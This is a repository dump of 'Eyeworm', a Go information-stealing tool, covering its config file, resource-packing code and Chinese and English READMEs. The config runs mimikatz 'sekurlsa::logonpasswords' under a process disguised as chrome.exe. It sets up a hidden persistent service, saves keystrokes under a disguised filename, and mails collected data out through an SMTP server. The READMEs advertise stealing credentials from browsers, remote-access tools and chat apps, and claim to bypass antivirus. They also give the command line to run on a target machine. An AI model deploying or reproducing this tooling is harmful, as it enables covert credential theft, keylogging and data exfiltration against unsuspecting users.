36 | "OS":"Windows",
37 | "CollectorType": "Recent",
38 | "Category": "defult",
39 | "Locations": null,
40 | "ContentKeys": [],
41 | "FileName":["*d"],
42 | "SuffixTypes":[".txt"],
43 | "Explain": "最近访问检索,仅配置contentkeys 、FileName、SuffixTypes即可使用 ,recent的内容扫描因为内容很多,所以扫描速度非常慢,建议先扫描出文件夹名称,再进行filesworm",
44 | "Commands":null,
45 | "ProcessName": null,
46 | "DeCrypt": false,
47 | "DeCryptCommand": null
48 | },
49 | {
50 | "RuleName":"CommandWorm",
51 | "OS":"Windows",
52 | "CollectorType": "Command",
53 | "Category": "defult",
54 | "Locations":null,
55 | "ContentKeys":[],
56 | "FileName":null,
57 | "SuffixTypes":null,
58 | "Explain": "根据输入的cmd命令收集输出信息...",
59 | "Commands":["ipconfig","dir"],
60 | "ProcessName": null,
61 | "DeCrypt": false,
62 | "DeCryptCommand": null
63 | },
64 | {
65 | "RuleName":"CommandWorm2",
66 | "OS":"Windows",
67 | "CollectorType": "Command",
68 | "Category": "Env",
69 | "Locations":null,
70 | "ContentKeys":[],
71 | "FileName":null,
72 | "SuffixTypes":null,
73 | "Explain": "定制化command",
74 | "Commands":["set"],
75 | "ProcessName": null,
76 | "DeCrypt": false,
77 | "DeCryptCommand": null
78 | },
79 | {
80 | "RuleName":"ProcessWorm",
81 | "OS":"Windows",
82 | "CollectorType": "Process",
83 | "Category": "defult",
84 | "Locations": null,
85 | "ContentKeys": ["\"_id\":"],
86 | "FileName": ["test"],
87 | "SuffixTypes": [".txt",".dit","xshs",".edg"],
88 | "Explain": "根据Process名称收集该进程目录下的相关信息",
89 | "Commands": null,
90 | "ProcessName": ["QQ.exe","padd.exe"],
91 | "DeCrypt": false,
92 | "DeCryptCommand": null
93 | },
94 | {
95 | "RuleName":"ChromeProcessWorm",
96 | "OS":"Windows",
97 | "CollectorType": "Process",
98 | "Category": "Browser",
99 | "Locations": null,
100 | "ContentKeys": ["\"_id\":"],
101 | "FileName": ["test"],
102 | "SuffixTypes": [".txt",".dit","xshs",".edg"],
103 | "Explain": "针对Chrome定制化的Process扫描",
104 | "Commands": null,
105 | "ProcessName": ["chrome.exe"],
106 |
107 | "DeCrypt": false,
108 | "DeCryptCommand": null
109 | },
110 | {
111 | "RuleName":"RegistryWorm",
112 | "OS":"Windows",
113 | "CollectorType": "Registry",
114 | "Category": "defult",
115 | "Locations": ["HKEY_CURRENT_USER\\Environment","HKEY_CURRENT_USER\\EUDC"],
116 | "ContentKeys": null,
117 | "FileName": ["*"],
118 | "SuffixTypes": null,
119 | "Explain": "根据注册表信息搜寻项或值 locations:注册表的搜索范围,FileName:根据项名称搜索",
120 | "Commands": null,
121 | "ProcessName": null,
122 | "DeCrypt": false,
123 | "DeCryptCommand": null
124 | },
125 |
126 | {
127 | "RuleName":"APiWorm",
128 | "OS":"Windows",
129 | "CollectorType": "APi",
130 | "Category": "defult",
131 | "Locations": null,
132 | "ContentKeys": null,
133 | "FileName":null,
134 | "SuffixTypes":null,
135 | "Explain": "Window 凭据收集,mimikatz Commands输入mimikatz命令开始收集信息,ProcessName可配置mimikatz伪装名",
136 | "Commands":["version","log","privilege::debug","sekurlsa::logonpasswords"],
137 | "ProcessName": ["chrome.exe"],
138 | "DeCrypt": false,
139 | "DeCryptCommand": null
140 | }
141 | ]
142 | },
143 | "ServiceExplain": "服务配置注释: Service*为注册服务的基础信息,EyeWorm已经集成了服务隐藏功能,但还是提供基础配置项来过特征免杀",
144 | "ServiceName": "GOService",
145 | "ServiceDisplayName": "GoServiceDis",
146 | "ServiceDescription": "this is GoService",
147 | "NormalExplain1": "通用注释1: TimeOut回传时间;TimeU回传时间单位;TimeShake 回传抖动时间(单位:秒);SaveFileloc 常驻收集文件保存位置 ",
148 | "Timeout": 60,
149 | "TimeU": "min",
150 | "TimeShake":3600,
151 | "SaveFileloc": "360temp.tmp",
152 | "NormalExplain2": "通用注释2: KeylogSaveloc 键盘记录保存位置;Mail_* 邮件回传配置项; ZipPwd 回传Zip打包密码",
153 | "KeylogSaveloc": "C:\\Users\\V\\AppData\\Local\\Packages\\Microsoft.Messaging\\QQBrower.tmp",
154 | "Mail_Host": "smtp.qq.com",
155 | "Mail_Port": 25,
156 | "Mail_Sender": "WWW@qq.com",
157 | "Mail_Pwd": "asdfshgfdhbdsdgfsfdg (此处为密码或授权码 不同mail协议不同)",
158 | "Mail_To": ["WWW@qq.com"],
159 | "ZipPwd": "123456"
160 | }
161 |
162 |
163 |
164 |
--------------------------------------------------------------------------------
/PackSource/PackSource.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "fmt"
7 | "io"
8 | "io/ioutil"
9 | "log"
10 | "os"
11 | "reflect"
12 | "runtime"
13 |
14 | "github.com/akavel/rsrc/binutil"
15 | "github.com/akavel/rsrc/coff"
16 | "github.com/akavel/rsrc/ico"
17 | "github.com/josephspurrier/goversioninfo"
18 | )
19 |
20 | const (
21 | MANIFEST = 24
22 | GROUPICON = 14
23 | ICON = 3
24 | MYCONFIG = 55
25 | )
26 |
27 | type gRPICONDIR struct {
28 | ico.ICONDIR
29 | Entries []gRPICONDIRENTRY
30 | }
31 | type gRPICONDIRENTRY struct {
32 | ico.IconDirEntryCommon
33 | ID uint16
34 | }
35 |
36 | //go:generate go run PackSource.go
37 | func main() {
38 | InitSyso()
39 | }
40 | func InitSyso() {
41 | osch := Ostrich{}
42 | ReadConfig(&osch)
43 | osch.IconPath = "main.ico"
44 | osch.ManifestPath = "main.manifest"
45 | osch.ConfigSource = "EyeConfig.json"
46 | osch.Build()
47 | osch.Walk()
48 | err := osch.WriteSyso("../resource.syso", runtime.GOARCH)
49 | if err != nil {
50 | fmt.Errorf("this err:", err)
51 | }
52 | }
53 |
54 | type Ostrich struct {
55 | goversioninfo.VersionInfo //匿名字段(嵌入)
56 | ConfigSource string
57 | }
58 |
59 | func ReadConfig(vi *Ostrich) {
60 | configFile := "versioninfo.json"
61 | var err error
62 | var input = io.ReadCloser(os.Stdin)
63 | if input, err = os.Open(configFile); err != nil {
64 | log.Printf("Cannot open %q: %v", configFile, err)
65 | os.Exit(1)
66 | }
67 | jsonBytes, err := ioutil.ReadAll(input)
68 | input.Close()
69 | if err != nil {
70 | log.Printf("Error reading %q: %v", configFile, err)
71 | os.Exit(1)
72 | }
73 | // Parse the config.
74 | if err := vi.ParseJSON(jsonBytes); err != nil {
75 | log.Printf("Could not parse the .json file: %v", err)
76 | os.Exit(2)
77 | }
78 | }
79 |
80 | func (vi *Ostrich) WriteSyso(filename string, arch string) error {
81 |
82 | // Channel for generating IDs
83 | newID := make(chan uint16)
84 | go func() {
85 | for i := uint16(1); ; i++ {
86 | newID <- i
87 | }
88 | }()
89 |
90 | // Create a new RSRC section
91 | rsrc := coff.NewRSRC()
92 |
93 | // Set the architecture
94 | err := rsrc.Arch(arch)
95 | if err != nil {
96 | return err
97 | }
98 |
99 | // ID 16 is for Version Information
100 | rsrc.AddResource(16, 1, goversioninfo.SizedReader{bytes.NewBuffer(vi.Buffer.Bytes())})
101 |
102 | // If manifest is enabled
103 | if vi.ManifestPath != "" {
104 |
105 | manifest, err := binutil.SizedOpen(vi.ManifestPath)
106 | if err != nil {
107 | return err
108 | }
109 | defer manifest.Close()
110 |
111 | id := <-newID
112 | rsrc.AddResource(MANIFEST, id, manifest)
113 | }
114 |
115 | // If icon is enabled
116 | if vi.IconPath != "" {
117 | if err := addIcon(rsrc, vi.IconPath, newID); err != nil {
118 | return err
119 | }
120 | }
121 |
122 | if vi.ConfigSource != "" {
123 |
124 | config, err := binutil.SizedOpen(vi.ConfigSource)
125 | if err != nil {
126 | return err
127 | }
128 | defer config.Close()
129 |
130 | rsrc.AddResource(MYCONFIG, 16, config)
131 | }
132 | rsrc.Freeze()
133 |
134 | // Write to file
135 | return writeCoff(rsrc, filename)
136 | }
137 |
138 | func addIcon(coff *coff.Coff, fname string, newID <-chan uint16) error {
139 | f, err := os.Open(fname)
140 | if err != nil {
141 | return err
142 | }
143 | defer f.Close()
144 |
145 | icons, err := ico.DecodeHeaders(f)
146 | if err != nil {
147 | return err
148 | }
149 |
150 | if len(icons) > 0 {
151 | // RT_ICONs
152 | group := gRPICONDIR{ICONDIR: ico.ICONDIR{
153 | Reserved: 0, // magic num.
154 | Type: 1, // magic num.
155 | Count: uint16(len(icons)),
156 | }}
157 | gid := <-newID
158 | for _, icon := range icons {
159 | id := <-newID
160 | buff, err := bufferIcon(f, int64(icon.ImageOffset), int(icon.BytesInRes))
161 | if err != nil {
162 | return err
163 | }
164 | coff.AddResource(ICON, id, buff)
165 | group.Entries = append(group.Entries, gRPICONDIRENTRY{IconDirEntryCommon: icon.IconDirEntryCommon, ID: id})
166 | }
167 | coff.AddResource(GROUPICON, gid, group)
168 | }
169 |
170 | return nil
171 | }
172 |
173 | func bufferIcon(f *os.File, offset int64, size int) (*bytes.Reader, error) {
174 | data := make([]byte, size)
175 | _, err := f.ReadAt(data, offset)
176 | if err != nil {
177 | return nil, err
178 | }
179 | return bytes.NewReader(data), nil
180 | }
181 |
182 | func (group gRPICONDIR) Size() int64 {
183 | return int64(binary.Size(group.ICONDIR) + len(group.Entries)*binary.Size(group.Entries[0]))
184 | }
185 | func writeCoff(coff *coff.Coff, fnameout string) error {
186 | out, err := os.Create(fnameout)
187 | if err != nil {
188 | return err
189 | }
190 | if err = writeCoffTo(out, coff); err != nil {
191 | return fmt.Errorf("error writing %q: %v", fnameout, err)
192 | }
193 | return nil
194 | }
195 | func writeCoffTo(w io.WriteCloser, coff *coff.Coff) error {
196 | bw := binutil.Writer{W: w}
197 |
198 | // write the resulting file to disk
199 | binutil.Walk(coff, func(v reflect.Value, path string) error {
200 | if binutil.Plain(v.Kind()) {
201 | bw.WriteLE(v.Interface())
202 | return nil
203 | }
204 | vv, ok := v.Interface().(binutil.SizedReader)
205 | if ok {
206 | bw.WriteFromSized(vv)
207 | return binutil.WALK_SKIP
208 | }
209 | return nil
210 | })
211 |
212 | err := bw.Err
213 | if closeErr := w.Close(); closeErr != nil && err == nil {
214 | err = closeErr
215 | }
216 | return err
217 | }
218 |
--------------------------------------------------------------------------------
/PackSource/go.mod:
--------------------------------------------------------------------------------
1 | module Packsource
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/akavel/rsrc v0.10.2 // indirect
7 | github.com/josephspurrier/goversioninfo v1.4.0 // indirect
8 | )
9 |
--------------------------------------------------------------------------------
/PackSource/go.sum:
--------------------------------------------------------------------------------
1 | github.com/akavel/rsrc v0.10.2 h1:Zxm8V5eI1hW4gGaYsJQUhxpjkENuG91ki8B4zCrvEsw=
2 | github.com/akavel/rsrc v0.10.2/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c=
3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
4 | github.com/josephspurrier/goversioninfo v1.4.0 h1:Puhl12NSHUSALHSuzYwPYQkqa2E1+7SrtAPJorKK0C8=
5 | github.com/josephspurrier/goversioninfo v1.4.0/go.mod h1:JWzv5rKQr+MmW+LvM412ToT/IkYDZjaclF2pKDss8IY=
6 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
7 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
8 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
9 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
10 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
11 |
--------------------------------------------------------------------------------
/PackSource/main.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/PackSource/main.ico
--------------------------------------------------------------------------------
/PackSource/main.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
8 |
9 |
10 |
11 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/PackSource/versioninfo.json:
--------------------------------------------------------------------------------
1 | {
2 | "FixedFileInfo": {
3 | "FileVersion": {
4 | "Major": 1,
5 | "Minor": 0,
6 | "Patch": 0,
7 | "Build": 0
8 | },
9 | "ProductVersion": {
10 | "Major": 1,
11 | "Minor": 0,
12 | "Patch": 0,
13 | "Build": 0
14 | },
15 | "FileFlagsMask": "3f",
16 | "FileFlags ": "00",
17 | "FileOS": "040004",
18 | "FileType": "01",
19 | "FileSubType": "00"
20 | },
21 | "StringFileInfo": {
22 | "Comments": "Test file.",
23 | "CompanyName": "josephspurrier",
24 | "FileDescription": "This is a hello world file.",
25 | "FileVersion": "v1.0.0.0",
26 | "InternalName": "goversioninfo.exe",
27 | "LegalCopyright": "Copyright (c) 2019 Joseph Spurrier",
28 | "LegalTrademarks": "",
29 | "OriginalFilename": "main.go",
30 | "PrivateBuild": "",
31 | "ProductName": "goversioninfo",
32 | "ProductVersion": "v1.5.3.0",
33 | "SpecialBuild": ""
34 | },
35 | "VarFileInfo": {
36 | "Translation": {
37 | "LangID": "0409",
38 | "CharsetID": "04B0"
39 | }
40 | },
41 | "IconPath": "",
42 | "ManifestPath": ""
43 | }
--------------------------------------------------------------------------------
/README-English.md:
--------------------------------------------------------------------------------
1 | # Eyeworm V 1.2.0 Introdution
2 |
3 | A powerful and flexible customized information collection tool implemented in Go language,It supports file, folder, file content, user-defined command, registry, specified process, mimikatz command, dpapi, recent access record and other collection methods.Flexible customized configuration is supported. Just update the configuration file that defines the collection rules, select the rules to be executed, and you can enable the collection of credentials and information for various browsers, remote management tools, sensitive keywords, and chat software. Persistence and encrypted content transmission are also supported. Keep up with the news. You are welcome to provide a richer collection of collection and configuration rules.
4 |
5 |
6 |
7 | ### I am the swarm!
8 |
9 | 
10 |
11 | ## features
12 |
13 | - Support collection of common software credentials, configurable customization of file path, registry, suffix, etc. of common software credentials -- XML, JSON, INI, TXT format
14 | - You can customize mremoteNG, MobaXterm, Terminals, Remote Desktop Connection, RDO, XT800, VNC and other remote control software, and collect the configuration files, data files, key files, registry information, recent access records and other information of note software. The more rule sets, the more applicable environments, and the more information collected. You are welcome to provide your own configurations in the problem area. I will take the time to integrate them into the main version
15 | - Support Linux and run in Windows (currently only implemented in Windows)
16 | - Support credential collection under the corresponding path of the process
17 | - Support the collection of command execution results, such as running commands to obtain environment variables, and extracting credentials in environment variables according to keywords
18 | - Support credential collection in temporary files of installation scripts
19 | - Support the collection of credentials in texts and documents (full-text retrieval has been implemented for a first version, but it may need to be reconstructed later considering the type support, efficiency, resource occupation and other issues of search files)
20 | - Support file collection of recent access records
21 | - Support decryption of common credentials (integrated with Mimikatz implementation)
22 | - Keylog support
23 | - Support the collection of shared files and USB storage file credentials (not yet implemented)
24 | - Support the same de duplication of content during resident collection (not implemented yet)
25 | - Support automatic compression and encryption transmission to the outside after collection
26 | - Plug ins supporting cs (not implemented yet)
27 |
28 | ## Command parameters and functions
29 |
30 | -all This is equivalent to executing the following - wfiles - wcommands - wprocess - registry - write - wmimikatz parameter command
31 | -wfiles According to the configuration file, the file name of the file, folder, and content collection supports wildcard characters *,? For example: a? c. Ab *, * password
32 |
33 | -wcommands Collect output information according to the cmd command set of the configuration file (combined with wfiles, command result files can be collected)
34 |
35 | -wprocess According to the process name of the configuration file, match the running process path for information collection
36 |
37 | -wregistry Collect registry key information according to profile configuration
38 |
39 | -wrecent Collect recently accessed target files according to profile configuration
40 |
41 | -wmimikatz Use encrypted mimikatz to collect results according to the configuration file configuration
42 |
43 | -dpapi Get Masterkey
44 |
45 | -spy Turn on monitoring, and end after turning off the computer
46 |
47 | -redeye 开启常驻模式(持久化,重启自启),需要配置 回传邮件、打包密码、常驻规则。To enable the resident mode (persistence, restart automatically), you need to configure the return mail, packaging password, and resident rules. (This mode has pass AV and hiding, and must be released with the same configuration file.)
48 | For example:`Eyeworm -wfiles -wcommands -redEye` Enable resident collection of files and commands
49 |
50 | -upload To upload the collection results, you need to configure the return mail and packaging password
51 |
52 | -o="result.txt" Output the collected results to the file
53 |
54 | -keylog The keyboard recording function is enabled (red eye or spy must be enabled)
55 |
56 | -unred Release the computer's redeye resident mode
57 |
58 | ## Configuration File EyeConfig.json Explain
59 |
60 | The general configuration fields are described in the configuration file. The following is a description of a single collection policy field:
61 |
62 | ` {
63 |
64 | ```
65 | "RuleName":"DefultFilesWorm", //Customized rule names, such as extended chromeWorm, and QQBrowerWorm are used to distinguish
66 |
67 | "OS": "Windows", //Adapt to the operating system. It is planned that the subsequent versions are compatible with Linux and Unix
68 |
69 | "CollectorType": "File", //The types corresponding to the collection policies, such as the collection policies of the file type collected by wfiles, are mainly classified as follows:(File file collection, Command command collection, Recent access, Process specified process collection, Registry registry collection, APi mimikatz collection)
70 |
71 |
72 | "Category": "defult", //Classification is used to classify rule sets, such as Browsers, remoteTools, and chatTool
73 |
74 | "Locations":["C:/Users/admin/Chrome","E:/QQ"], //Search path set, file, folder mandatory fields
75 |
76 | "ContentKeys": ["\"_id\":","password:"], //Matching keywords for content collection, collection of content files, and folder city ContentKeys optional fields
77 |
78 | "FileName":["*c","a?b","*"], //File name matching words, mandatory fields for files and folders
79 |
80 | "SuffixTypes":[".txt"], // Search file suffix, file, folder mandatory field
81 |
82 | "Explain": "文件及文件夹收集,支持 * 通配符 ", //Rule Function and Configuration Description Comment Fields
83 |
84 | "Commands":["set && ipconfig/all >>info.txt &&start 'E:\shell.exe'"], // Commands to be executed in command collection, mandatory fields for command collection)
85 |
86 | "ProcessName": ["QQ.exe","Chrome.exe"], // The process in process collection. It is a required field for process collection. Process collection is mainly used to obtain the corresponding path according to the current system running process, and quickly locate the path of the configuration file or key file in the custom installation scenario
87 |
88 | "DeCrypt": false, // Reserved field, native file or data decryption function (todo)
89 |
90 | "DeCryptCommand": null //Reserved word decryption command (todo)
91 |
92 | },`
93 | ```
94 |
95 | ## Compile and Updating Configuration File
96 |
97 | ### Compile
98 |
99 | Enter PackSource,After configuring ico,EyeConfig.json,versioninfo.json,main.manifest. run PackSource Go to get main.syso generated in the EyeWorm directory
100 |
101 | Back to the EyeWorm directory, go build
102 |
103 | ### Updating Configuration File
104 |
105 | In consideration of convenience and security, the collection configuration file is embedded in the exe. The EXE and section table compiled by go are different from other compilers to avoid the trouble of repeated compilation. The UpdateSource tool is provided to update the embedded EyeConfig Json configuration file. In consideration of the subsequent implementation of Linux, this part is likely to need to be reconstructed in the future. How to use it:
106 |
107 | 1. Compile the content in UpdateSource to get the update tool UpdateSource.exe
108 | 2. Modify your own EyeConfig.json
109 | 3. `UpdateSource.exe -File=Eyeworm.exe -Data=EyeConfig.json` To update!
110 |
111 | ### Attack
112 |
113 | Eyeworm.exe uploads and executes the corresponding command on the target machine
114 | ex:`Eyeworm.exe -wfile -wcommand -wprocess -wregistry -wrecent -wmimikatz -keylog -redeye`
115 |
116 | 
117 | 
118 |
119 | ## ToDo
120 |
121 |
122 | -High efficiency and low resource collection algorithm for improving content keyword search collection
123 |
124 | -Implement custom collection in Linux/Unix environment
125 |
126 | -Implement Keylog in Linux/Unix environment
127 |
128 | -One or more payloads like mimikatz are added for inheritance and customization
129 |
130 | -Realize the self updating function of configuration files under ELF
131 |
132 | -Realize self generation of collection executable files under the corresponding OS, and automatically transform and encrypt each time
133 |
134 | -Implement customized encryption and decryption of keylog record files
135 |
136 | -Plug ins that support making cs
137 |
138 | -The implementation supports more covert automatic return mode. After all, the SMTP mode is old and will leak the mailbox authorization token
139 |
140 | ## Careful
141 |
142 | You need to run with administrator permission, otherwise the resident and mimikatz functions may fail
143 | Due to the integration of mimiktaz, although most AVs are bypass tested when this version is released, some AVs may report virus due to time lapse, so please bypass the security software by yourself
144 |
145 | # Contact me --- Xiao Feng
146 |
147 | I love technology and study hard. I welcome brothers with the same ideals to study and discuss with me
148 | Mail: 1098516987@qq.com CSDN:[https://blog.csdn.net/VB551](https://blog.csdn.net/VB551)
149 |
150 | # For forwarding, please indicate the original address
151 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [Click here for English version](https://github.com/imsellbaox/Eyeworm/blob/master/README-English.md)
2 |
3 | # Eyeworm V 1.2.0 介绍
4 |
5 | 一款Go语言实现的强大的灵活的自定义的信息收集工具,支持文件、文件夹、文件内容、自定义命令、注册表、指定进程、mimikatz命令、dpapi、最近访问记录等内容的收集。支持灵活的定制化配置,只需更新定义收集规则的配置文件,选择需要执行的规则,即可开启对各类浏览器、remote管理工具、敏感关键词、聊天软件进行凭据、信息收集,并且支持持久化,内容加密传输等,持续跟新中,欢迎大家提供更为丰富的收集配置规则集合。
6 |
7 |
8 |
9 | ### 我即是虫群!
10 |
11 | 
12 |
13 | ## 特性
14 |
15 | - 支持常用软件凭据收集,可配置式的自定义常用软件凭据的文件路径,注册表,后缀等——XML,JSON,INI,TXT格式
16 | - 可通过自定义mremoteNG、MobaXterm、Terminals、Remote Desktop Connection、RDO、XT800、VNC等各种远程控制软件,笔记软件的配置文件,数据 文件,key文件,注册表信息,最近访问记录等等信息的采集。规则集越多,适用环境就越多,采集的信息就越多,欢迎大家在问题区提供自己的配置,我会抽时间整合到主版本里
17 | - 支持Linux,Window下运行(目前只完成了Windows下的实现)
18 | - 支持进程对应路径下凭据收集
19 | - 支持命令执行结果的收集,如运行命令获取环境变量,以及根据关键字提取环境变量里的凭证
20 | - 支持安装脚本临时文件里凭据收集
21 | - 支持文本,文档里的凭据收集(全文检索,已经实现一版,但考虑搜索文件的类型支持,效率和资源占用等问题后续可能需要重构)
22 | - 支持最近访问记录的文件收集
23 | - 支持常见凭据的解密(集成Mimikatz实现)
24 | - 支持keylog
25 | - 支持共享文件,USB存储文件凭据的收集(暂未实现)
26 | - 支持常驻收集时内容相同去重 (暂未实现)
27 | - 支持收集后自动压缩加密传输到外部
28 | - 支持做成cs的插件(暂未实现)
29 |
30 | ## 命令参数和功能
31 |
32 | -all 相当于执行以下 -wfiles -wcommands -wprocess -wregistry -wrecent -wmimikatz -dpapi参数命令
33 | -wfiles 根据配置文件对文件、文件夹、内容收集 文件名支持通配符 *,? 例如: a?c、ab* 、 *密码
34 |
35 | -wcommands 根据配置文件的cmd命令集收集输出信息(結合wfiles,可进行命令结果文件收集)
36 |
37 | -wprocess 根据配置文件的进程名,匹配正在运行的进程路径进行信息收集
38 |
39 | -wregistry 根据配置文件配置收集注册表项信息
40 |
41 | -wrecent 根据配置文件配置收集最近访问中的目标文件
42 |
43 | -wmimikatz 根据配置文件配置 使用加密型mimikatz进行结果收集
44 |
45 | -dpapi 获得Masterkey
46 |
47 | -spy 开启监控,关机后结束
48 |
49 | -redeye 开启常驻模式(持久化,重启自启),需要配置 回传邮件、打包密码、常驻规则。(该模式已经实现免杀和隐藏,必须用相同配置文件的unred解除)
50 | 例如 :`Eyeworm -wfiles -wcommands -redEye` 开启文件、命令 的常驻收集
51 |
52 | -upload 上传收集结果 需要配置 回传邮件、打包密码
53 |
54 | -o="result.txt" 把收集结果输出文件
55 |
56 | -keylog 键盘记录功能开启(必须开启redeye或spy)
57 |
58 | -unred 解除该电脑的redeye常驻模式
59 |
60 | ## 配置文件 EyeConfig.json说明
61 |
62 | 通用配置字段在配置文件里都有说明,下面是对单个收集策略字段说明:
63 |
64 | ` {
65 |
66 | ```
67 | "RuleName":"DefultFilesWorm", //自定义的规则名称 如扩展chromeWorm,QQBrowerWorm 用于区分
68 |
69 | "OS": "Windows", //适配操作系统,计划后续版本兼容Linux,Unix
70 |
71 | "CollectorType": "File", //收集策略对应的类型, 如wfiles 收集的就是类型为File的收集策略,目前主要有以下类别:
72 | (File 文件收集,Command 命令收集,Recent 最近访问,Process 指定进程收集,Registry 注册表收集, APi mimikatz收集)
73 |
74 | "Category": "defult", // 分类 用于规则集合归类如:Browsers、remoteTools,、chatTool
75 |
76 | "Locations":["C:/Users/admin/Chrome","E:/QQ"], //搜索路径集,文件,文件夹必配字段
77 |
78 | "ContentKeys": ["\"_id\":","password:"], //内容收集的匹配关键字,采集内容文件,文件夹市ContentKeys可选字段
79 |
80 | "FileName":["*c","a?b","*"], //文件名匹配字,文件,文件夹必配字段
81 |
82 | "SuffixTypes":[".txt"], // 搜索文件后缀,文件,文件夹必配字段
83 |
84 | "Explain": "文件及文件夹收集,支持 * 通配符 ", //规则作用和配置说明注释字段,=
85 |
86 | "Commands":["set && ipconfig/all >>info.txt &&start 'E:\shell.exe'"], // 命令收集中需要执行的命令,命令收集必配字段)
87 |
88 | "ProcessName": ["QQ.exe","Chrome.exe"], // 进程收集中的进程,进程收集必配字段。进程采集主要是根据当前系统运行的进程获取其对应的路径,快速定位自定义安装场景下的配置文件或者关键文件的路径
89 |
90 | "DeCrypt": false, // 保留字段,本机文件或者数据解密功能(todo)
91 |
92 | "DeCryptCommand": null //保留字 解密命令 (todo)
93 |
94 | },`
95 | ```
96 |
97 | ## 编译和更新配置
98 |
99 | ### 编译
100 |
101 | 进入 PackSource 中,配置好ico,EyeConfig.json,versioninfo.json,main.manifest 四个文件 运行PackSource.go 得到 main.syso 在EyeWorm目录下
102 |
103 | 回到EyeWorm目录下,go build
104 |
105 | ### 更新配置文件
106 |
107 | 考虑AllInOne带来的便利性和安全性,采集配置文件是内嵌exe中的,go编译出来的EXE和节表和其他编译不太一样,防止重复编译麻烦,提供UpdateSource工具更新内嵌的EyeConfig.json 配置文件。考虑到后续Linux的实现,此部分后续很可能需要重构,使用方法:
108 |
109 | 1. 编译UpdateSource中内容,得到更新工具UpdateSource.exe
110 | 2. 根据自己需要修改好EyeConfig.json
111 | 3. 编译好`UpdateSource.exe -File=Eyeworm.exe -Data=EyeConfig.json` 即可更新
112 |
113 | ### 使用
114 |
115 | Eyeworm.exe上传在目标机器上执行对应命令
116 | 例:`Eyeworm.exe -wfile -wcommand -wprocess -wregistry -wrecent -wmimikatz -keylog -redeye`
117 |
118 | 
119 | 
120 |
121 | ## ToDo
122 |
123 | - 提高内容关键字搜索采集的高效率低资源的采集算法
124 | - 实现Linux/Unix环境下的自定义采集
125 | - 实现Linux/Unix环境下的Keylog
126 | - 实现继承自定义增加一个或者多个,类似mimikatz这样的payload功能
127 | - 实现ELF下的配置文件自更新功能
128 | - 实现自生成对应OS下的采集可执行文件,并每次自动变形加密
129 | - 实现keylog记录文件自定义加密解密
130 | - 支持做成cs的插件
131 | - 实现支持更为隐蔽的自动回传模式,SMTP模式毕竟古老并会泄漏邮箱授权Token
132 |
133 | ## 注意
134 |
135 | 需要使用管理員权限运行,否则 常驻和mimikatz功能可能失败
136 |
137 | 由于集成了mimiktaz,虽然本版本发布的时候做了测试大部分AV都Bypass,但可能由于时间推移导致部分杀软提示有毒,请自行bypass
138 |
139 | # 联系我 ---萧枫
140 |
141 | 本人热爱技术,钻研,欢迎志同道合的兄弟一起研究讨论
142 | 邮件:1098516987@qq.com CSDN:[https://blog.csdn.net/VB551](https://blog.csdn.net/VB551)
143 |
144 | # 转载发表请注明原文地址 [https://github.com/imsellbaox/Eyeworm](https://github.com/imsellbaox/Eyeworm)
145 |
--------------------------------------------------------------------------------
/UpdateSource.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/UpdateSource.exe
--------------------------------------------------------------------------------
/UpdateSource/UpdateSource.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/UpdateSource/UpdateSource.exe
--------------------------------------------------------------------------------
/UpdateSource/WinApi.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "syscall"
7 | "unsafe"
8 |
9 | "github.com/winlabs/gowin32"
10 | )
11 |
12 | func abort(funcname string, err error) {
13 | panic(fmt.Sprintf("%s failed: %v", funcname, err))
14 | }
15 |
16 | var (
17 | kernel32, _ = syscall.LoadLibrary("kernel32.dll")
18 | AmW, _ = syscall.LoadLibrary("Api-ms-win-core-version-l1-1-0.dll")
19 | updateResource, _ = syscall.GetProcAddress(kernel32, "UpdateResourceW")
20 | beginUpdateResource, _ = syscall.GetProcAddress(kernel32, "BeginUpdateResourceW")
21 | endUpdateResource, _ = syscall.GetProcAddress(kernel32, "EndUpdateResourceW")
22 | findResource, _ = syscall.GetProcAddress(kernel32, "FindResourceW")
23 | loadLibrary, _ = syscall.GetProcAddress(kernel32, "LoadLibraryW")
24 | loadResource, _ = syscall.GetProcAddress(kernel32, "LoadResource")
25 | lockResource, _ = syscall.GetProcAddress(kernel32, "LockResource")
26 | freeLibrary, _ = syscall.GetProcAddress(kernel32, "FreeLibrary")
27 | sizeofResource, _ = syscall.GetProcAddress(kernel32, "SizeofResource")
28 | getSystemDefaultLangID, _ = syscall.GetProcAddress(kernel32, "GetUserDefaultLangID")
29 | getFileVersionInfoSize, _ = syscall.GetProcAddress(AmW, "GetFileVersionInfoSizeW")
30 | getFileVersionInfo, _ = syscall.GetProcAddress(AmW, "GetFileVersionInfoW")
31 | )
32 |
33 | const (
34 | FALSE uint32 = 0
35 | TURE uint32 = 1
36 | LANG_NEUTRAL = 0x00
37 | SUBLANG_NEUTRAL = 0x00
38 | )
39 |
